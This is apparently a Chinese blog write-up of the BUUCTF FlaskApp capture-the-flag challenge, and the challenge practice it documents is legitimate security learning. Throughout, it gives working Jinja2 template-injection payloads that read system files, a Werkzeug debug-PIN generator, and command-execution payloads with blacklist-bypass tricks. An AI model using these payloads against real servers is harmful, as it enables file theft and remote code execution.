• BUUCTF:[GYCTF2020]FlaskApp


    Flask的网站,这里的功能是Base64编码解码,并输出

    在这里插入图片描述

    并且是存在SSTI

    在这里插入图片描述

    /hint 提示PIN

    在这里插入图片描述

    既然提示PIN,那应该是开启了Debug模式的,解密栏那里随便输入点什么报错看看,直接报错了,并且该Flask开启了Debug模式,需要PIN码

    在这里插入图片描述

    参考ye1s师傅的:Flask debug模式下的 PIN 码安全性

    可知,要获取PIN码需要知道以下几点:

    • username:运行该Flask程序的用户名
    • modname:模块名
    • getattr(app, '__name__', getattr(app.__class__, '__name__')):app名,值为Flask
    • getattr(mod, '__file__', None)Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc
    • str(uuid.getnode()):MAC地址,需要转换成十进制,读取这两个地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address
    • get_machine_id():系统id

    从报错中还能看出来使用了render_template_string()

    在这里插入图片描述

    从这个render_template_string(tmp)看,应该是使用的jinja2引擎,编码{{config}},传入解密然后渲染执行

    在这里插入图片描述

    WAF的黑名单:importospopenflageval*?
    其实这里就可以使用拼接绕过了,但是我们还是先来试试获取PIN码GetShell的

    首先通过报错就可以得知很多信息,Python3的环境以及:

    • modnameflask.app
    • getattr(app, '__name__', getattr(app.__class__, '__name__'))Flask
    • getattr(mod, '__file__', None)/usr/local/lib/python3.7/site-packages/flask/app.py

    在这里插入图片描述

    接下来可以通过SSTI去文件读取其他信息,使用jinja2的控制结构语法构造

    jinja2一共三种语法:
    控制结构 {% %}
    变量取值 {{ }}
    注释 {# #}
    jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
    但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
    从而绕过沙箱。
    
    __class__         返回调用的参数类型
    __bases__         返回基类列表
    __mro__           此属性是在方法解析期间寻找基类时的参考类元组
    __subclasses__()  返回子类的列表
    __globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
    __builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,
    				  这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    遍历子类,寻找能读取文件的子类,然后构造

    {% for x in {}.__class__.__base__.__subclasses__() %}
    	{% if "warning" in x.__name__ %}
    		{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
    	{%endif%}
    {%endfor%}
    
    • 1
    • 2
    • 3
    • 4
    • 5

    编码一下输入

    在这里插入图片描述

    得到运行Flask的用户名:flaskweb

    读Mac地址

    {% for x in {}.__class__.__base__.__subclasses__() %}
    	{% if "warning" in x.__name__ %}
    		{{x.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read() }}
    	{%endif%}
    {%endfor%}
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    转换成十进制:

    >>> int('d2936368b7c7', 16)
    231530469832647
    
    • 1
    • 2

    读系统id:1408f836b0ca514d796cbf8960e45fa1

    {% for x in {}.__class__.__base__.__subclasses__() %}
    	{% if "warning" in x.__name__ %}
    		{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}
    	{%endif%}
    {%endfor%}
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    然后根据前面的分析文章里面的生成脚本得到PIN码

    import hashlib
    from itertools import chain
    probably_public_bits = [
        'flaskweb'# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    
    private_bits = [
        '231530469832647',# str(uuid.getnode()),  /sys/class/net/eth0/address
        '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
    ]
    
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    
    cookie_name = '__wzd' + h.hexdigest()[:20]
    
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    
    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    
    print(rv)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    在这里插入图片描述

    输入PIN码后可成功获取交互Shell

    在这里插入图片描述

    然而这里有SSTI,即已经可以命令执行了

    >>> ().__class__.__base__.__subclasses__()[149]
    <class 'warnings.catch_warnings'>
    >>> ().__class__.__base__.__subclasses__()[149].__init__.__globals__['__builtins__']['__import__']('os').__dict__['popen']('whoami').read()
    'mochu7\\administrator\n'
    >>>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    只需要绕过关键字过滤即可,例如拼接

    {% for x in ().__class__.__base__.__subclasses__() %}
    	{% if "warning" in x.__name__ %}
    		{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['po' + 'pen']	('cat /this_is_the_f'+'lag.txt').read() }}
    	{%endif%}
    {%endfor%}
    
    • 1
    • 2
    • 3
    • 4
    • 5

    例如逆序

    {% for x in ().__class__.__base__.__subclasses__() %}
    	{% if "warning" in x.__name__ %}
    		{{x.__init__.__globals__['__builtins__']['__tropmi__'[::-1]]('so'[::-1]).__dict__['nepop'[::-1]]('txt.galf_eht_si_siht/ tac'[::-1]).read()}}
    	{%endif%}
    {%endfor%}
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    像这种关键字绕过,SSTI还有很多办法,感兴趣的可以自己研究

  • 相关阅读:
    Android的GNSS功能,搜索卫星数量、并获取每颗卫星的信噪比
    LLM模型-讯飞星火与百度文心api调用
    insertAdjacentHTML() 作用
    分享wind量化交易平台接口编程代码
    计算机网络 TCP通信
    总在用户态调试 C# 程序,终还是搭了一个内核态环境
    Python Flask框架 入门详解与进阶
    计算机网络中的CSMA/CD算法的操作流程(《自顶向下》里的提炼总结)
    向量化操作简介和Pandas、Numpy示例
    【易错题】数据可视化基础练习题(30道选择题)#CDA Level 1
  • 原文地址:https://blog.csdn.net/mochu7777777/article/details/132741209